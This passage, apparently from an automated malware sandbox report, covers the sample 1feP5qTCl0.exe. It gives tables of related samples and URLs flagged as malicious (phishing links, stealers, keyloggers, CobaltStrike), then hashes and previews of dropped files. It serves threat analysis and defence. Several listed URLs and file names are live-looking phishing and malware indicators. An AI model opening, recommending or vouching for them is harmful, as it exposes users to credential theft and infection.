	https://energyservices.org/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://slopeofhope.com/commentsys/lnk.php?u=https://haconsultores.com.mx/legend/maxwell/ldpzbsp/michaelm@umcu.org&c=E,1,A_Yp496oib_-f1w3pZp4Hud2rskHoBUUu9m1zLjByrw-OpNq6TJQE-QgWUsuKigOG1mWiTep0uj-kK8C5-LvX_Bqh-uGvKRKtcnVwRDbXNCSMFYS3grZceoYqs0,&typo=1	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	https://energyservices.org/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	http://chengduyiwokeji-haiwai.datasink.datasjourney.com	Get hash	malicious	Unknown	Browse	140.82.121.3
	ep_setup.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	SecuriteInfo.com.Trojan-PSW.Win32.Stealer.cifv.26324.32739.exe	Get hash	malicious	Phemedrone Stealer	Browse	140.82.121.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	https://aka.ms/LearnAboutSenderIdentification	Get hash	malicious	HTMLPhisher	Browse	151.101.65.44
	1feP5qTCl0.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	https://indd.adobe.com/view/9cfcac35-338b-4a63-bb28-60a870b890db	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://we.tl/t-RErWU1YgQS	Get hash	malicious	Unknown	Browse	199.232.188.84
	http://ebay.to/3u2gAme	Get hash	malicious	Unknown	Browse	199.232.188.84
	https://github.com/angryip/ipscan/releases/download/3.9.1/ipscan-3.9.1-setup.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	http://stream.crichd.vip/update/sscricket.php	Get hash	malicious	Unknown	Browse	151.101.129.229
	virus total.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	104.244.43.131
AMAZON-AESUS	https://aka.ms/LearnAboutSenderIdentification	Get hash	malicious	HTMLPhisher	Browse	54.90.52.195
	1feP5qTCl0.exe	Get hash	malicious	Unknown	Browse	34.194.69.213
	Money Fellows Signatures Consent Docs#122531(Revised).pdf	Get hash	malicious	Unknown	Browse	23.22.254.206
	https://n3ki6w9.r.ap-northeast-2.awstrack.me/L0/https:%2F%2Fet.sp-25.com%2Fe%2Fc%2FOTizp%3FreferCode=product_OT2211aaaaaaaaaa%26shortLink=aaaaa%26longLink=H4sIAAAAAAAAAAXBWxLAEAwAwBNFCFP0Np7DhzLC_bvbzln8IvKCeQSPsM-63EoeIs2BYXW8H9_IafdYUCotqyUCW00Co8wDzmUFkhJ58qVqo35jyZFkUwAAAA==%26ecSource=OT%26referId=8725724309822211/1/010c01918f3a3e79-f24b6623-ae8f-4f46-a748-e9746a6021e2-000000/4Oo6Bk-hd_o5oOs3lBvVzZAlIjU=173	Get hash	malicious	Unknown	Browse	54.165.190.241
	https://indd.adobe.com/view/9cfcac35-338b-4a63-bb28-60a870b890db	Get hash	malicious	HTMLPhisher	Browse	23.22.254.206
	https://we.tl/t-RErWU1YgQS	Get hash	malicious	Unknown	Browse	34.202.209.143
	https://wavebrowser.co/	Get hash	malicious	Unknown	Browse	3.222.199.46
	http://stream.crichd.vip/update/sscricket.php	Get hash	malicious	Unknown	Browse	34.232.140.51
	virus total.pdf	Get hash	malicious	HTMLPhisher	Browse	23.22.254.206
AMAZON-02US	https://aka.ms/LearnAboutSenderIdentification	Get hash	malicious	HTMLPhisher	Browse	76.223.111.18
	https://n3ki6w9.r.ap-northeast-2.awstrack.me/L0/https:%2F%2Fet.sp-25.com%2Fe%2Fc%2FOTizp%3FreferCode=product_OT2211aaaaaaaaaa%26shortLink=aaaaa%26longLink=H4sIAAAAAAAAAAXBWxLAEAwAwBNFCFP0Np7DhzLC_bvbzln8IvKCeQSPsM-63EoeIs2BYXW8H9_IafdYUCotqyUCW00Co8wDzmUFkhJ58qVqo35jyZFkUwAAAA==%26ecSource=OT%26referId=8725724309822211/1/010c01918f3a3e79-f24b6623-ae8f-4f46-a748-e9746a6021e2-000000/4Oo6Bk-hd_o5oOs3lBvVzZAlIjU=173	Get hash	malicious	Unknown	Browse	52.79.158.223
	https://indd.adobe.com/view/9cfcac35-338b-4a63-bb28-60a870b890db	Get hash	malicious	HTMLPhisher	Browse	18.245.46.74
	https://we.tl/t-RErWU1YgQS	Get hash	malicious	Unknown	Browse	18.245.46.98
	https://wavebrowser.co/	Get hash	malicious	Unknown	Browse	52.222.236.57
	http://ebay.to/3u2gAme	Get hash	malicious	Unknown	Browse	34.252.40.201
	New Al Maktoum International Airport Enquiry Ref #2401249.exe	Get hash	malicious	FormBook	Browse	76.223.105.230
	http://stream.crichd.vip/update/sscricket.php	Get hash	malicious	Unknown	Browse	3.122.190.9
	https://cisa2024.entegyapp.co.uk/	Get hash	malicious	Unknown	Browse	3.70.10.198
AMAZON-02US	https://aka.ms/LearnAboutSenderIdentification	Get hash	malicious	HTMLPhisher	Browse	76.223.111.18
	https://n3ki6w9.r.ap-northeast-2.awstrack.me/L0/https:%2F%2Fet.sp-25.com%2Fe%2Fc%2FOTizp%3FreferCode=product_OT2211aaaaaaaaaa%26shortLink=aaaaa%26longLink=H4sIAAAAAAAAAAXBWxLAEAwAwBNFCFP0Np7DhzLC_bvbzln8IvKCeQSPsM-63EoeIs2BYXW8H9_IafdYUCotqyUCW00Co8wDzmUFkhJ58qVqo35jyZFkUwAAAA==%26ecSource=OT%26referId=8725724309822211/1/010c01918f3a3e79-f24b6623-ae8f-4f46-a748-e9746a6021e2-000000/4Oo6Bk-hd_o5oOs3lBvVzZAlIjU=173	Get hash	malicious	Unknown	Browse	52.79.158.223
	https://indd.adobe.com/view/9cfcac35-338b-4a63-bb28-60a870b890db	Get hash	malicious	HTMLPhisher	Browse	18.245.46.74
	https://we.tl/t-RErWU1YgQS	Get hash	malicious	Unknown	Browse	18.245.46.98
	https://wavebrowser.co/	Get hash	malicious	Unknown	Browse	52.222.236.57
	http://ebay.to/3u2gAme	Get hash	malicious	Unknown	Browse	34.252.40.201
	New Al Maktoum International Airport Enquiry Ref #2401249.exe	Get hash	malicious	FormBook	Browse	76.223.105.230
	http://stream.crichd.vip/update/sscricket.php	Get hash	malicious	Unknown	Browse	3.122.190.9
	https://cisa2024.entegyapp.co.uk/	Get hash	malicious	Unknown	Browse	3.70.10.198
GITHUBUS	1feP5qTCl0.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	https://github.com/angryip/ipscan/releases/download/3.9.1/ipscan-3.9.1-setup.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	https://energyservices.org/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://slopeofhope.com/commentsys/lnk.php?u=https://haconsultores.com.mx/legend/maxwell/ldpzbsp/michaelm@umcu.org&c=E,1,A_Yp496oib_-f1w3pZp4Hud2rskHoBUUu9m1zLjByrw-OpNq6TJQE-QgWUsuKigOG1mWiTep0uj-kK8C5-LvX_Bqh-uGvKRKtcnVwRDbXNCSMFYS3grZceoYqs0,&typo=1	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	https://github.com/massgravel/Microsoft-Activation-Scripts	Get hash	malicious	Unknown	Browse	140.82.112.21
	https://energyservices.org/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	ep_setup.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	SecuriteInfo.com.Trojan-PSW.Win32.Stealer.cifv.26324.32739.exe	Get hash	malicious	Phemedrone Stealer	Browse	140.82.121.3
	http://yathuchandran.github.io/Metamask.clone	Get hash	malicious	Unknown	Browse	140.82.114.21

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
72a589da586844d7f0818ce684948eea	1feP5qTCl0.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	V6ZsDcgx4N.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	V6ZsDcgx4N.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	48DhuEoTcX.exe	Get hash	malicious	Metasploit, Meterpreter	Browse	45.125.66.18
	6863(1)2.exe	Get hash	malicious	CobaltStrike	Browse	45.125.66.18
	20240730#U7cfb#U7edf#U5f02#U5e38#U62a5#U9519.exe	Get hash	malicious	CobaltStrike	Browse	45.125.66.18
	LisectAVT_2403002B_116.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	LisectAVT_2403002B_116.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	LisectAVT_2403002B_312.dll	Get hash	malicious	Trickbot	Browse	45.125.66.18
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Unknown	Browse	185.166.143.49 52.216.51.233
	SecuriteInfo.com.Win32.CrypterX-gen.18599.19099.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.166.143.49 52.216.51.233
	Setup.exe	Get hash	malicious	Unknown	Browse	185.166.143.49 52.216.51.233
	Setup.exe	Get hash	malicious	Unknown	Browse	185.166.143.49 52.216.51.233
	Nakliye belgeleri.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.166.143.49 52.216.51.233
	file.exe	Get hash	malicious	Unknown	Browse	185.166.143.49 52.216.51.233
	Request for Quotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.166.143.49 52.216.51.233
	SecuriteInfo.com.Trojan.Locsyz.2.2D0.720.7591.31980.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.166.143.49 52.216.51.233
	SOA-Al Daleel -Star Electromechanical.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.166.143.49 52.216.51.233

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Reka\rapnewsa.exe	1feP5qTCl0.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Reka\rapnewsa.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.972409904582663
Encrypted:	false
SSDEEP:	768:ZCMmeyIJkkZ7XPImohfdjm7MEW/kJ7S/DWJ3GTHvvM1zI:ZCFeySkkJgl2MEW/ozwXM1
MD5:	2D4E723C184D9403B078E53F2DE74A23
SHA1:	92FA5F8F346CB987F249BD41755C5AEDAF4C8646
SHA-256:	0A6BF0678BBD793E39A84DFB4C71D8B709D9E538288BF826C48B1BA899803BA4
SHA-512:	A8F5267AE7F465A65A46D6ABEAED0C7A910C349E708E4264CC68747EE26DB78D62B575DEDB2E64553C207B914BA240654930774954DFA7503C93393CFADCE9AD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16% Antivirus: Virustotal, Detection: 24%, Browse
Joe Sandbox View:	Filename: 1feP5qTCl0.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................n...............n.....n....Rich..................PE..L...PS.f...............&............0.............@.......................................@.....................................................................X.......................................................p............................text............................... ..`.rdata..............................@..@.data...D...........................@....reloc..X...........................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1dliduho.2ay.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1zntfhsm.wrh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_23ddowjl.obt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2cwzdf3h.pli.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2tv4xnrh.lrp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4lh5csqd.zcc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5wshp021.ucm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bbvyrykj.gx0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_biugcgc4.jml.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c2xevfaz.kyx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_djzrwuu0.x52.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ds3jwxnn.qzg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gi2qb2ew.5ss.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ia3k1b3c.2e3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iht5oqef.zwb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jwqgxjbg.k13.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kpf5nmio.jkj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lyloyn54.0tv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mlu0wrjw.sbw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mqa53fcy.mpx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n0nijpe0.eiw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
